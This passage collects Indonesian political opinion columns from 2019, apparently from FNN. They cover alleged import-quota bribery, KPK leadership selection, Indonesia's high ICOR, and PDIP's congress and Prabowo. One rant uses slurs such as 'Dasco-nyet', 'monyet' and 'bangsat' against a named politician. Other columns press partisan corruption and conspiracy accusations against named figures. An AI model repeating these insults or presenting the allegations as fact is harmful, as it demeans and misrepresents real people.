mengungkap, suap itu diduga untuk memuluskan kuota impor sebanyak 20 ribu ton bawang putih dengan nilai fee untuk tiap kilogram sebesar Rp1.700 hingga Rp1.800. Dua tersangka di antaranya diduga bekerja sama untuk mengurus izin tersebut. Kasus terbaru itu, menghidangkan menu ke publik bahwa impor pangan lekat dengan mafia dan pejabat pemburu rente. Terlepas dari sanggahan Enggar itu, jauh sebelum kasus Bowo maupun Nyoman terbongkar, sejumlah ekonom sudah menanamkan kecurigaan terhadap tokoh yang saat lahir bernama Loe Joe Eng ini. Soalnya, kader Partai Golkar yang kini bernaung di bawah Partai Nasdem ini gemar membuka keran impor pangan, bahkan ketika panen tiba. Ekonom yang secara blak-blakan mengkritisi Enggar adalah Rizal Ramli. Ia menyebut Enggar sebagai raja impor. Bahkan eks Menko Maritim ini menyebut Jokowi tidak berani memecat Enggar. "Pola pikir ribet. Wong tinggal pecat Mendag yang raja impor. Itu saja nggak berani. Kok malah mau nambah keribetan baru. Walah, piye toh," kicau Rizal Ramli, suatu ketika, saat menanggapi wacana Jokowi yang akan membentuk menteri baru bidang investasi dan ekspor. Rizal juga pernah melaporkan Enggar ke KPK dengan dugaan korupsi impor pangan. Setidaknya ada 8 dugaan skandal yang disampaikan Rizal. "Oknum pejabatnya kecanduan impor, istilahnya import addictive. Doyan banget, kenapa? Karena tiap kali impor ada rentenya, ada keuntungan yang besar yang dinikmati importir dan oknum pejabat," tuduhnya. Pada era kepemimpinan Enggar, Kementerian Perdagangan cukup banyak mengeluarkan izin impor. Menurut data Badan Pusat Statistik, nilai impor semester pertama 2018, misalnya, mencapai US$89,05 miliar atau meningkat 23,15% dibanding periode yang sama tahun sebelumnya. "Kita harap di era Jokowi ini dilibaslah, orang-orang yang membuat gerak ekonomi lamban," ujar ekonom Faisal Basri mengarahkan telunjuknya ke tiga nama menteri, salah satunya Enggar. Ia menganggap orang-orang ini sebagai lemak di dalam tubuh yang membuat gerak seseorang menjadi lamban. Dua menteri lainnya adalah Menteri Koordinator Bidang Kemaritiman, Luhut Binsar Panjaitan dan Menteri BUMN, Rini Soemarno Pemilik Banyak Perusahaan Pria yang lahir di Cirebon, Jawa Barat, pada 1951 ini terlahir sebagai Loe Joe Eng. Ia alumnus IKIP Bandung. Sudah sejak tahun 90-an malang melintang di dunia properti. Ia tercatat pernah memimpin beberapa organisasi berinduk nasional antara lain Real Estate Indonesia (REI). Enggar pemilik banyak perusahaan. Ia adalah Komisaris Utama PT Unicora Agung, Dirut PT Kartika Karisma Indah, Dirut PT Kemang Pratama, Dirut PT Bangun Tjipta Pratama, dan Direktur PT Supradinakarya Multijaya (1994-2004). Di Partai Golkar, Enggar mengawali debutnya sebagai Wakil Bendahara Umum. Melalui partai ini pula dia terpilih sebagai anggota DPR RI untuk dua periode, 1997-1999 dan 2004-2009. Namun sejak tahun 2013, ia hengkang dari Beringin dan masuk Partai Nasdem. Di partai ini, Enggar dipercaya menjabat sebagai Ketua Bidang Hubungan Luar Negeri. Pada Pemilu 2014, Enggar kembali terpilih sebagai anggota DPR RI. Melalui Partai Nasdem itulah Enggar ditunjuk menjadi Menteri Perdagangan. Benarkan di kantor kemendag, Jalan Ridwan Rais Jakarta, ini akan menjadi akhir karier Enggar di dunia politik? Tunggu saja pada detik-detik 17 Agustus 2019 atau setidak-tidaknya pada hari-hari sekitar itu.

Maling Teriak Maling di Ketiak Prabowo

Relawan garis lurus dituduh menjadi penumpang gelap oleh penjilat Prabowo. Ayo sebut saja, jangan bikin polemik. Oleh Azwar Siregar Jakarta, FNN - Ada yang kenal gak sama di Dasco-nyet ini. Tolong sampaikan sama si Dasco-nyet dan para penjilat yang lain jangan terus-menerus melempar fitnah dan membuat polemik di antara pendukung Prabowo Subianto. Poros ketigalah, penumpang gelaplah, residulah dan entah sebutan apalagi tapi tidak pernah berani menunjuk jari: Siapa pengkhianatnya? Walaupun sangat kecewa tapi saya berusaha diam dengan semua strategi "sepak bola-nya" Prabowo. Saya berusaha mendamaikan jiwa dengan menganggap kami tetap satu tujuan biarpun sudah berbeda jalan, demi negeri ini. Tapi setiap tuduhan dan fitnah recehan yang tidak jantan kepada pendukung atau relawan Prabowo di Pilpres yang lalu akan saya lawan. Saya adalah bagian relawan yang ikhlas mengeluarkan uang, tenaga dan semua kemampuan saya untuk memenangkan Prabowo. Saya bahkan tidak peduli tidak dikenal siapa-siapa, bahkan oleh Prabowo sendiri, tapi saya dikenal banyak masyarakat yang saya ajak untuk memilih dia. Saya juga banyak mengenal sahabat-sahabat saya dan rakyat jelata yang juga tidak kalah militannya mendukung Prabowo. Mulai pengusaha yang membantu dana, tukang sablon yang memberikan diskon khusus, penjual gado-gado yang memberikan gado-gado gratis sampai anak buah saya yang kerja sukarelawan memasang spanduk dan sticker. Sekarang kami dan orang-orang ini difitnah sebagai penumpang gelap? Monyet kalian. Iya kalian para bangsat yang makan dari kaki Prabowo dan selama ini cuma duduk tenang dan santai menunggu kemenangan. Andaipun Prabowo kemarin tidak dikalahkan KPU, sebenarnya kami tidak dapat apa-apa. Kalian yang akan jadi Menteri, jadi Dubes, jadi Komisaris BUMN. Kami cuma meminta dan berharap Indonesia dikelola dengan baik. Sekarang Prabowo kalah karena ulah internalnya sendiri yang brengsek, kalian mau cuci tangan dan balik badan demi menjilat si pemenang agar tetap dapat jabatan. Silahkan...!!!, tapi jangan menyakiti lagi hati kami. Tidak ada relawan yang jadi penumpang gelapa. Kalianlah bangsat-bangsat penjilat yang jadi penumpang gelap. Jangan berkali-kali menyalahkan rakyat dan korban yang jatuh di demo MK. Bukankah yang setuju ke MK Prabowo Sendiri? Rakyat menonton dan melihat sandiwara keadilan di MK, rakyat marah dan berunjuk rasa. Kenapa kemudian rakyat yang disalahkan? Sekali lagi silahkan bergabung dengan si pemenang. Tapi tidak perlu harus angkat-angkat telor dan cari-cari muka sampai mengorbankan para relawan yang dulu berjuang bersama kalian. Tentu saja kecuali kalian dan Prabowo memang ngga punya telor dan ngga punya muka. Badjingan !!!

Kalau Dipimpin Bandit, KPK Akan Menjadi Komisi Pelindung Koruptor

Bersiap-siaplah melihat KPK akan berubah menjadi Komisi Pemerasan dan Kongkalikong. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Proses pemilihan capim (calon pimpinan) Komisi Pemberantasan Korupsi (KPK), kini mendekati tahap akhir. Panitia seleksi (pansel) calon pimpinan KPK beberapa hari lalu mengumumkan 40 orang yang lulus tes psikologi. Hasil tes ini dikritik keras oleh LSM antikorupsi, Indonesian Corruption Watch (ICW). ICW merasa tak puas. Tampaknya, mereka bisa melihat tanda bahaya pada komposisi 40 orang yang lulus itu. Ada indikasi KPK hendak digiring agar dipimpin oleh orang-orang yang ditengarai akan melindungi para koruptor tertentu. Anehnya, anggota pansel, Hendardi (dari LSM Setara Institute), pasang badan. Dia balik mencela ICW. Dikatakannya, ICW nyinyir dan tidak bisa mengatasnamakan publik. Padahal, Hendardi paham bahwa ICW adalah LSM yang sudah dikenal lama dan memiliki integritas untuk berbicara tentang korupsi. ICW banyak tahu tentang korupsi. ICW juga mengerti kesulitan yang dihadapi dalam upaya pemberantasan korupsi. Karena itu, ICW tidak bisa dianggap memiliki kepentingan pribadi (vested interest) dalam proses pemilihan pimpinan KPK. Hendardi sangat tendensius ketika mengatakan ICW punya kepentingan pribadi. Hendardi menjadi sangat aneh. Ketika ICW mengutarakan ketidakpuasan publik terhadap ke-40 orang yang lulus tes psikologi, Hendardi menanggapinya dengan gaya yang mencurigakan. “Pansel bukan alat pemuas ICW,” ujar Hendardi. Sangat pantas banyak yang curiga terhadap bahasa Hendardi itu. Seolah dia sedang membawa misi tersendiri di pansel capim KPK. Sangat patut diduga Hendardi punya misi untuk mengantarkan orang-orang tertentu sampai ke kursi pimpinan KPK. Kali ini, entah mengapa, banyak orang kuat yang mengincar posisi komisioner di KPK. Kelihatannya, ada pihak yang sedang bekerja keras untuk menggiring agar pimpinan KPK jatuh ke tangan mereka. Ketara sekali. Mudah dibaca apa yang sedang terjadi. Tetapi, kalau para bandit itu berhasil merebut KPK, hampir pasti badan antikorupsi ini akan hancur berantakan. Akan menjadi alat pemerasan. Akan dijadikan alat untuk mencari duit besar. Bersiap-siaplah melihat KPK akan berubah menjadi Komisi Pemerasan dan Kongkalikong (KPK). Selain itu, KPK di tangan para bandit akan menjadi alat untuk melindungi berbagai kejahatan korupsi yang dilakukan oleh para pemegang kekuasaan, dan pencoleng kekayaan negara. KPK akan menjadi pelindung koruptor. Akan menjadi Komisi Pelindung Koruptor (KPK). Karena itu, seluruh rakyat harus terus-menerus memantau manuver para bandit yang pasti akan melakukan segala cara agar pimpinan KPK bisa mereka rebut. Upaya mereka untuk mencaplok KPK harus dilawan oleh semua kekuatan publik. Termasuk para anggota DPR garis lurus dan ormas-ormas yang ‘genuine’ antikorupsi. Jangan biarkan KPK dijadikan alat untuk memeras para terduga atau tersangka koruptor. Atau sebaliknya menjadi alat untuk menghambat penyelidikan korupsi oleh orang-orang tertentu. Pansel capim KPK kali ini, pantas dipertanyakan. Banyak keanehan yang terjadi dalam seleksi administrasi. Sebagai contoh, mantan komisioner Komnas HAM, Natalius Pigai, dinyatakan tidak lulus seleksi admin. Tak bisa dimengerti apa kekurangan Pak Pigai. Semua orang tahu ‘track record’ (rekam jejak) beliau. Publik tahu integritas Pigai. Bolak-balik dia menolak tawaran jabatan publik supaya dia tidak ribut. Pigai adalah orang yang tidak pernah berkompromi dengan penyalahgunaan kekuasaan dan korupsi. Ini mungkin kelemahan beliau. Saya pribadi mengenal sejumlah pengacara dengan reputasi, kapasitas dan integritas tinggi yang tak lulus seleksi. Sangat mengherankan. Tapi, bisa juga tak mengherankan kalau para anggota panselnya berkepribadian seperti Hendardi. Tak terbayangkan bagaimana jadinya KPK periode mendatang. Semoga saja masih ada waktu untuk mencegah konspirasi kekuatan jahat yang ingin merebut pimpinan KPK. (*)

ICOR Tinggi, Pertanda Korupsi Masih Marak

Jika Indonesia akan mencapai target pertumbuhan ekonomi 7% sebagaimana dicita-citakan Jokowi pada kampanye 2014, maka nilai investasi yang harus dikumpulkan adalah sebesar Rp1.481 triliun. Oleh Hudzaifah (Wartawan Senior) Jakarta, FNN - Investasi Indonesia yang besar-besaran di bidang infrastruktur ternyata tak membuat pertumbuhan ekonomi beranjak dari 5%. Bahkan celakanya bersamaan dengan investasi yang begitu tinggi, justru indikator Incremental Capital Output Ratio (ICOR) Indonesia makin tinggi. Gejala apakah ini? Sepertinya Pemerintahan Jokowi selama lima tahun terakhir sudah begitu jor-joran, gegap gempita dan cetar membahana. Namun selama kurun waktu itu juga pertumbuhan ekonomi stagnasi di level plus minus 5%. Bahkan ICOR Indonesia sepanjang tahun terus menanjak, pada 2018 mencapai 6,3, menunjukkan inefisiensi investasi. Artinya, untuk mencapai pertumbuhan Produk Domestik Bruto (gross domestic bruto—GDP) 1%, maka Indonesia butuh nilai investasi 6,3 kali dari nilai pertumbuhan tersebut. Bandingkan dengan ICOR Malaysia pada periode yang sama hanya berada pada level 4,6, disusul Thailand sebesar 4,5, dan yang terendah Filipina sebesar 3,7. Asian Development Bank (ADB) pernah menyusun tabulasi nilai ICOR pada tujuh negara pada 2017. Tujuh Negara yang dimaksud adalah Indonesia 5.5, Malaysia 4.6, Filipina 3.7, Thailand 4.5, Vietnam 5.2 dan India 4.9 serta Turki yang mencapai ICOR 3.9. ICOR adalah koefisien produktivitas suatu nation state yang bersaing dengan nation state lain untuk berkontestasi di pasar global. Kalau angka ICOR tinggi berarti bangsa itu tidak efisien. Untuk tumbuh satu persen memerlukan investasi 6,3 kali dari PDB. Skor ICOR dipatok pada level 1 hingga 10. Makin rendah ICOR suatu negara makin efisien investasi di negara itu, sebaliknya makin tinggi ICOR suatu negara maka semakin tidak efisien negara itu. Dalam kasus Indonesia, untuk mendapatkan input pertumbuhan ekonomi Rp1.000 maka nilai investasi yang harus disediakan adalah Rp6.300. ICOR yang baik bagi suatu negara ada pada kisaran 3 hingga 4. Jika Indonesia akan mencapai target pertumbuhan ekonomi 7% sebagaimana dicita-citakan Jokowi pada kampanye 2014, maka nilai investasi yang harus dikumpulkan adalah sebesar Rp1.481 triliun. Padahal realisasi investasi Indonesia pada 2018 hanya Rp721,3 triliun, wajar kalau hanya menghasilkan pertumbuhan ekonomi 5,17% atau jauh dari target 5,4% dala APBN 2018. ICOR Indonesia yang tinggi ini diawali sejak masyarakat dipungli mengurus birokrasi perizinan oleh eksekutif dan juga biaya legislatif yang ikut ditanggung lewat pungli dan pungutan diluar pajak, juga sistem yudikatif yang korup. Kemudian suku bunga bank juga relatif tinggi karena spread yang tinggi di industri perbankan. Di samping itu UMR karyawan ikut naik, sementara harus bersaing dengan tetangga dan pesaing lain. Tumpukan beban itulah yang mengungkung masyarakat awam maupun bisnis di Indonesia entah hanya sebagai karyawan maupun sebagai pengusaha. Ongkos rente politik birokrasi parpol sangat tinggi tercermin dari angka ICOR 6,3 menurut studi empiris ADB. Sementara itu berdasarkan data dalam lampiran empat tahun Jokowi-JK mengelola pemerintahan angka ICOR kita malah sejak 2014 ICOR kita berkisar sekitar enam dan tidak bergeming. Pada 2013 ICOR Indonesia masih di level 4,5, pada 2014 lompat ke level 6,8, kemudian pada 2015 sedikit memburuk ke 6,78. Padahal di tahun 2011 masih di kisaran 3,8, bahkan pada 2007 masih di level 3,5. Sejak 2009 ICOR Indonesia naik di atas kisaran 5,0 (Sumber: World Bank dan BPS). Pada 2016 turun sedikit ke 6,46. Lalu pada 2017 ke level 6,34 dan pada 2018 masih di kisaran 6,33. Faktor yang diukur ADB adalah masalah upah dan seluruh biaya sosial dari pelayanan birokrasi dikombinasikan efisiensi bangsa ini. Presiden Jokowi diketahui telah menempatkan perang lawan ICOR ini dengan Saber Pungli dan OTT KPK yang diharapkan menurunkan ICOR Indonesia dari enam ke empat atau bahkan ketiga, dengan kebijakan pelayanan satu atap (one stop service—OSS). Tetapi sistim kepartaian plural tetap merupakan sumber dan akar masalah high poltical and bureaucratic cost yang harus ditanggung masyarakat dan pebisnis maupun dalam aktivitas sosial dengan biaya public goods and service yang mahal dan tidak bisa bersaing dengan negara lain. Karena itu juga ekspor kita tidak beranjak jauh dan bahkan kalah dari Vietnam. Bila pemberantasan korupsi dan perizinan OSS gagal dan masyarakat terus dibebani dengan pungli dan suap korupsi, maka nilai rupiah tidak bisa dikomando untuk menguat. Paling tidak ada tiga faktor yang menyebabkan inefisiensi dalam investasi yang dilakukan pemerintah yang ditandai dengan ICOR meningkat. Pertama, tidak efisiennya pembangunan ekonomi yang dijalankan. Kedua, adanya unsur pelunasan utang luar negeri yang tinggi dan didominasi dengan valuta asing. Ketiga, adanya mark up dan korupsi dalam proses pembangunan dan menyebabkan ekonomi biaya tinggi berjalin berkelindan dengan sistem politik yang korup. Dulu Begawan Ekonomi Prof. Soemitro Djojohadikoesoemo sempat menyindir adanya kebocoran Anggaran Pendapatan dan Belanja Negara (APBN) setiap tahun sebesar 30%. Hari ini, tingkat kebocoran anggaran itu disinyalir sudah mencapai 65%. Mantan Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Mochammad Jasin, Indonesia masih berada pada tingkat ICOR tertinggi di ASEAN, yakni rerata sebesar 6, sedangkan rerata ASEAN 3,5. Hal ini, menurutnya sebagai akibat dari banyaknya praktik mark-up, mark down dan korupsi di Indonesia. Selain itu kebocoran APBN atau pembangunan yang mencapai 65% juga menjadi masalah bagi kondisi Indonesia. Oleh karenanya, Jasin berpendapat, penting untuk Rencana Strategis Kementerian/Lembaga (Renstra K/L) yang dituangkan dalam perencanaan dan program kerja tahunan harus disusun indikator kinerja, target capaian kinerja, evaluasi kinerja dan rekomendasi perbaikan kinerja K/L. Jasin juga menjelasakan modus operandi korupsi yang kerap dilakukan DPR dan DPRD yakni memperbesar mata anggaran untuk tunjangan dan fasilitas anggota dewan, menyalurkan dana APBN/APBD bagi anggota dewan melalui yayasan fiktif dan memanipulasi perjalanan dinas. Sedangkan modus operandi pejabat daerah kerap kali pada pengadaan barang dan jasa pemerintah dengan mark up harga dan mengubah spesifikasi barang. Oleh sebab itu, pentingnya bagi lembaga audit investigasi untuk bersikap independen dalam mengidentifikasi penyebab dan kemungkinan adanya kecurangan atau fraud dalam penyelenggaraan APBN. Audit investigasi bertujuan mendapatkan keyakinan yang memadai mengenai apakah fraud tersebut benar terjadi berdasarkan bukti audit yang kuat dan valid. Salah satu indikator ICOR adalah terjadinya kebocoran anggaran. Kebocoran anggaran berpotensi terjadi dari sisi realisasi APBN setiap tahunnya. Namun berdasarkan data realisasi APBN dari Kemenkeu, dalam 10 dasawarsa terakhir, angka realisasi APBN secara rata-rata berada di atas 94%. Pada 2004 realisasi APBN mencapai 99,33%, pada 2006 mencapai 95,43%, 2008 sekitar 99,62%, 2010 mencapai 92,54%, dan 2012 sekitar 96,33%. Sementara realisasi anggaran baik penerimaan maupun belanja negara pada 2014 tercatat sebesar 94,50%, sedangkan pada 2015 langsung anjlok ke posisi 87,95% dan pada 2016 menjadi 88,2%. Setiap tahunnya, pemerintah juga terus menyempurnakan mekanisme penyusunan anggaran sekaligus mempermudah prosedur realisasi sehingga penyerapan anggaran diharapkan lebih optimal. Yang masih menjadi persoalan mungkin terkait dengan persoalan kualitas dari penyerapan anggaran itu sendiri. Meskipun sudah menerapkan sistem Performance Based Budgeting (PBB), persoalan kualitas penyerapan anggaran mau tidak mau masih menjadi kendala utama. Tidak tercapainya optimalisasi penerimaan perpajakan juga disinggung sebagai salah satu penyebab terjadinya kebocoran anggaran. Namun perlu diperhatikan bahwa melesetnya potensi penerimaan perpajakan tidak seutuhnya disebabkan oleh lemahnya kinerja aparat perpajakan melainkan juga dipengaruhi oleh faktor eksternal lainnya seperti melemahnya demand akibat resesi global. Pemerintah juga terus melakukan pengurangan potensi terjadinya penurunan potensi penerimaan perpajakan yang disebabkan perilaku moral hazard aparat penegak pajak itu sendiri melalui penerbitan Peraturan Menteri Keuangan (PMK) Nomor 111/PMK.03/2014 tentang pegawai pajak yang beralih menjadi Konsultan Pajak. Potensi kebocoran anggaran lainnya yang memungkinkan adalah hilangnya potensi penerimaan negara dari hasil pengelolaan sumber daya alam (SDA) baik tambang maupun kekayaan non-tambang lainnya. Namun demikian, potensi hilangnya penerimaan dari hasil pengelolaan SDA baik tambang dan non-tambang sangat bergantung kepada kesepakatan kontrak yang sudah ditanda-tangani sebelumnya. Yang mungkin dilakukan adalah merenegosiasi kontrak kesepakatan yang sudah akan jatuh tempo untuk dilakukan perhitungan ulang demi memenuhi aspek keadilan. Berdasarkan uraian tersebut di atas, dapat ditarik suatu kesimpulan bahwasanya isu kebocoran anggaran merupakan hal sensitif yang sangat fundamental. Namun demikian, validitas data merupakan hal yang mutlak dikedepankan. Jangan sampai isu tersebut kemudian sekedar menjadi isu politik demi mengejar popularitas semata. Saatnya Presiden Jokowi mengecangkan ikat pinggang, dalam arti jangan sekadar gegap gempita membangun infrastruktur, mengejar wajib pajak, mengejar pajak dana pihak ketiga, tapi juga perlu meningkatkan efisiensi investasi agar tidak mubazir.[]

Kongres PDIP: Tangga Lebih Tinggi Cucu Soekarno

Di mulut, Mega menyadari bahwa PDIP bukan partai keluarga. Namun dalam praktiknya, Mega menyiapkan putra-putrinya untuk menggantikannya. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Jika Sukarno pernah diangkat Majelis Permusyawaratan Rakyat Sementara atau MPRS sebagai presiden seumur hidup, maka Megawati Soekarnoputri naga-naganya juga bakal dipilih menjadi Ketua Umum PDI Perjuangan sampai dirinya menyerah. Sudah 25 tahun Megawati Soekarnoputri menjadi ketum partai berlambang banteng moncong putih itu, tapi tak ada tanda-tanda dia lengser keprabon. Mega masih betah dan tak belum bosan. Pada Kongres PDIP Ke-5 di Bali pada 8-11 Agustus 2019 nanti, pemilik suara kemungkinan besar masih menginginkan Mega lagi untuk memimpin PDIP. Lagi pula sejauh ini belum ada pengganti yang berani mencalonkan diri, melawan Mega. Mega sudah manula. Nenek sudah berusia 72 tahun. Kini, kabar yang beredar, untuk menopang kerja Ketum, akan dibuat pos jabatan baru di Dewan Pimpinan Pusat PDIP, yakni ketua harian. Kabarnya lagi, kursi ini disiapkan untuk putra dan putri mahkota: Muhammad Prananda Prabowo (Nanan) atau Puan Maharani. Keduanya adalah darah daging Mega. Jabatan ketua harian nantinya di bawah langsung Ketua Umum Megawati. Posisi itu punya kewenangan yang mirip dengan ketum. Ketua harian akan menangani persoalan sehari-hari partai. Namun hal-hal yang tergolong sangat penting tetap akan ditangani oleh Ketum. "Ketua harian akan incharge sehari-hari membantu ketua umum secara langsung, dan memiliki otoritas yang mirip ketum, kecuali untuk hal-hal yang penting sekali," kata Sekretaris Badan Pendidikan dan Pelatihan PDIP, Eva Kusuma Sundari, Jumat (2/8). Isu ini sudah santer terdengar di kalangan internal partai pemenang Pemilu 2019 ini. "Tentu saja itu hak prerogatif ketua umum untuk menentukan siapa yang akan menjadi ketua harian, walaupun memang santer terdengar nama Mas Prananda kuat," kata Eva. "Nama Puan Maharani juga kuat," tambah Eva buru-buru. Prananda Prabowo adalah Ketua DPP PDIP yang meneken surat Rakernas IV PDIP tertanggal 31 Mei 2018. Sejak surat itu beredar, posisinya di PDIP terlihat makin sentral. Sedangkan Puan Maharani, kini menabat Menteri Pembangunan Manusia dan Kebudayaan. Puan juga merupakan caleg terkuat di DPR RI 2019-2024. Jika benar skenario itu yang bakal terjadi, maka kader-kader Banteng di luar keluarga Mega, termasuk Joko Widodo, tak usah bermimpi menjadi pucuk pimpinan PDI-P pengganti Mega. Partai ini, sepertinya sudah menjadi partai keluarga Mega, peralihan dari partai keluarga Sukarno. Peluang Jokowi Pada 2010 lalu, Guruh Soekarnoputra sempat terbersit untuk mencalonkan diri sebagai pengganti Mega. Saat ia menyampaikan niatnya itu, Mega memberi nasihat pada adiknya itu. "Mbak Mega bilang, oh bagus kalau begitu. Tetapi ingat, ini bukan partai keluarga. Ini partai banyak orang. Saran saya, kamu turun ke bawah deh," ujar Guruh menirukan ucapan Mega, 27 Januari 2010. Di mulut, Mega menyadari bahwa PDIP bukan partai keluarga. Namun dalam praktiknya, Mega menyiapkan putra-putrinya untuk menggantikannya. Pengamat Politik dari Universitas Indonesia, Ade Reza Haryadi, menganggap secara logis kursi ketua umum PDIP bisa saja terjadi regenerasi. Akan tetapi kemungkinan yang terjadi ialah regenerasi itu akan turun langsung ke keluarga Megawati. "Episentrum politik PDIP tetap Megawati, dan regenerasinya logis kalau turunnya ke Puan Maharani atau Prananda Prabowo," kata Ade kepada Suara.com, Jumat (2/8). Ade tidak memungkiri apabila ada pergantian sosok pada kursi ketum PDIP. Akan tetapi kecil kemungkinan apabila wajah baru itu berasal dari luar, termasuk nama Joko Widdo atau Jokowi. "Saya kira kecil peluangnya Jokowi bisa menggantikan Megawati," katanya. Peneliti Senior Centre for Strategic of International Studies (CSIS), J Kristiadi, mengatakan regenerasi kepemimpinan pasti terjadi karena waktu terus berjalan. Namun, dalam konteks regenerasi di PDIP, Kristiadi menganggap pergantian pemimpin tak bisa dilakukan dalam waktu singkat. Regenerasi kepemimpinan di parpol merupakan kewajiban. Namun, Kristiadi menganggap, regenerasi bisa dilakukan secara parsial. "Sebab tidak bisa, tidak mungkin, suatu yang sangat karismatik ini ditularkan secara cepat. Ibu Mega itu karismatik luar biasa sebab sudah berpengalaman dan begitu banyak jabatan yang disandang," tuturnya. Sekretaris Jenderal PDI Perjuangan, Hasto Kristiyanto, menuturkan, hampir seluruh kader banteng mengharapkan Megawati Soekarnoputri kembali memimpin PDI Perjuangan periode 2019-2024. Setidaknya, 33 dari 34 Dewan Pimpinan Daerah (DPD) PDIP yang memiliki keinginan sama agar putri dari Presiden ke-1 RI Sukarno itu kembali menjadi ketum. Menurut dia, 33 DPD PDIP telah menyelenggarakan konferensi daerah menjelang Kongres Nasional V PDIP pada 8-10 Agustus mendatang di Pantai Matahari Terbit, Bali. Dalam konferda itu, para kader mendukung Megawati untuk kembali menjadi ketum. Wajar saja jika ada yang menganggap kongres ini kali tak akan jauh beda dengan kongres sebelumnya: memilih kembali Mega. Bedanya, musyawarah tertinggi ini memberi tangga lebih tinggi kepada putra-putri Mega. Selamat berkongres.

Prabowo, antara Emak Banteng dan Emak-Emak

Oleh : Hersubeno Arief Jakarta, FNN - Wajah Ketua Umum PDIP Megawati tampak cerah, berseri-seri. Pada pidato pembukaan Kongres PDIP di Bali Ahad siang (8/8) dia banyak tersenyum, melucu, menggoda dan meledek para hadirin, terutama tamu undangan yang hadir. Yang paling banyak diledek dan disebut namanya, siapa lagi kalau bukan Ketua Umum Partai Gerindra Prabowo Subianto. Padahal banyak tamu undangan lain, termasuk para ketua umum partai koalisi Jokowi-Ma’ruf. Mega memanggil Prabowo dengan panggilan “pak,” “situ” dan “mas.” Menunjukkan hubungan keduanya sangat dekat. Mega mengungkap cerita seputar Pilpres 2019 lalu. Dia mengaku capek bertarung melawan Prabowo di Jawa Tengah. "Aduh, capek juga, Pak, situ sih bikin-bikin capek saya, ha…ha…ha….., ” Ujarnya menyinggung pemindahan posko BPN Prabowo-Sandi ke Solo, Jawa Tengah. "Bener loh, Pak, Mas. Saya manggilnya Mas, Mas Bowo. Makanya kalau, kalau nanti... ya nggak tahu dong, tolong deket-deketin saya ya ha-ha-ha. Aduh. Ya masak sih serius terus, ya boleh jugalah," ucap Megawati. Mendengar guyonan Megawati, kendati tak begitu jelas apa maksudnya, Prabowo langsung berdiri dan memberi sikap hormat. Wajar saja bila Megawati tampak sangat happy dengan kehadiran Prabowo. Dia menjadi tamu super penting. Kehadirannya sangat ditunggu-tunggu dan diistimewakan. Sebelum kongres berlangsung, secara khusus Megawati mewanti-wanti, agar para peserta jangan sampai berbuat sesuatu yang bisa membuat Prabowo tidak nyaman. "Jangan mengeluarkan kata-kata yang menyinggung undangan, apalagi ada undangan terhormat seperti Pak Prabowo yang hadir. Jadi jangan sampai ada yang bilang, huuu…… Jangan begitu," kata DPD PDI-P Bali I Wayan Koster menirukan ucapan Megawati. Posisi duduk Prabowo juga sangat spesial. Dia duduk berderet dengan Megawati, Presiden Jokowi, Wapres Jusuf Kalla, dan Wapres terpilih Ma’ruf Amin. Berbeda dengan Megawati —“Emaknya” partai banteng —yang tampak berbahagia-ria, emak-emak pendukung Prabowo melihat kehadiran jagoannya itu di kongres PDIP dengan sikap beragam. Ada yang marah, tidak peduli alias egepe (emang gua pikirin), mendukung, tapi ada juga yang sikapnya mendua. Semula mendukung, tapi menjadi sebel melihat gaya Mega mencandain Prabowo. Bahasa tubuh dan ucapan Mega dinilai tidak menunjukkan sikap respect. Menghormati tamu undangan spesial. Padahal bila melihat secara kronologis, ada kesan yang sangat kuat, Megawati dan Jokowi lah yang lebih membutuhkan Prabowo. Bukan sebaliknya. Mulai dari pertemuan di MRT, dilanjutkan dengan jamuan nasi goreng, sampai undangan menghadiri kongres. Semua inisiatifnya datang dari kubu Megawati-Jokowi. (Benci tapi rindu) Soal perasaan para pendukung, khususnya emak-emak militan, baik Megawati, apalagi Prabowo, harus benar-benar berhati-hati. Bila sampai salah penanganannya, skenario yang mereka susun secara cantik, bisa hancur berantakan. Ngototnya kubu 01 menggandeng Prabowo tidak lepas dari realitas dilapangan dan problem legitimasi pemerintahan Jokowi. Mereka sangat berkepentingan merangkul Prabowo. Targetnya mematahkan perlawanan kekuatan sosial pendukung 02, sekaligus memperkuat legitimasi Jokowi sebagai presiden terpilih. Silakan berkeliling ke berbagai wilayah di Indonesia, bahkan termasuk di berbagai kota di Jawa. Semangat perlawanan dari para pendukung Prabowo-Sandi masih sangat tinggi. Mulai dari kalangan ulama, purnawirawan, relawan dan jangan tanya lagi di komunitas emak-emak. Mereka tidak pernah merasa kalah, tapi dikalahkan! Banyak yang masih merasa bahwa yang harus menjadi presiden Prabowo, bukan Jokowi. Para relawan ini menjadi sangat kesal, sebel, jengkel, marah ketika Prabowo bersedia bertemu dengan Jokowi. Kemudian bertemu Megawati, dan sekarang malah hadir di kongres PDIP. Mantan Wamenhan Letjen TNI (Purn) Sjafrie Sjamsoeddin bersama sejumlah purnawirawan perwira tinggi TNI yang tengah berada di Surabaya, kebagian “getah” pelampiasan unek-unek dari para relawan. Padahal Sjafrie bukan tim sukses, apalagi anggota BPN Prabowo-Sandi. Sebagai purnawirawan TNI, teman satu angkatan Prabowo di Akabri (1974) dia tampaknya diharapkan dapat menyampaikan pesan dan unek-unek mereka. Hubungan Prabowo dengan para relawannya ini bila dicermati adalah hubungan BENCI tapi RINDU! Mereka masih berharap—entah bagaimana caranya— Prabowo-Sandi yang dilantik sebagai presiden dan wapres. Bukan Jokowi-Ma’ruf. Sebuah harapan yang tidak masuk akal, tapi itulah kenyataannya. Soal ini harus benar-benar disadari oleh Prabowo dan orang-orang di sekitarnya. Dia harus mau meluangkan waktu bertemu para relawan. Harus punya kesabaran ekstra menjelaskan mengapa dia akhirnya mau bertemu dan kemungkinan besar bergabung dengan Jokowi. Kegagalan menjelaskan manuver politiknya yang tidak lazim, akan berdampak serius bagi Prabowo. Dia akan ditinggalkan para pendukungnya. Mereka akan mencari figur baru. Bila ini yang terjadi, yang rugi bukan hanya Prabowo, namun juga Jokowi dan Megawati. Basis legitimasi rakyat yang diinginkan, tidak akan terwujud. Prabowo dan kekuatan sosial yang mendukungnya adalah satu paket. Salah besar bila mengambil kesimpulan: cukup rangkul Prabowo, otomatis para pendukungnya akan mengikutinya. Kepentingan dan aspirasi para pendukung 02 juga harus diakomodasi. Hapus kebijakan yang menimbulkan perasaan diperlakukan tidak adil (perceived unjustice) di semua sektor kehidupan berbangsa dan bernegara. Tunjukan bahwa rekonsiliasi itu bukan hanya terjadi di kalangan elit, tapi juga melibatkan rakyat. 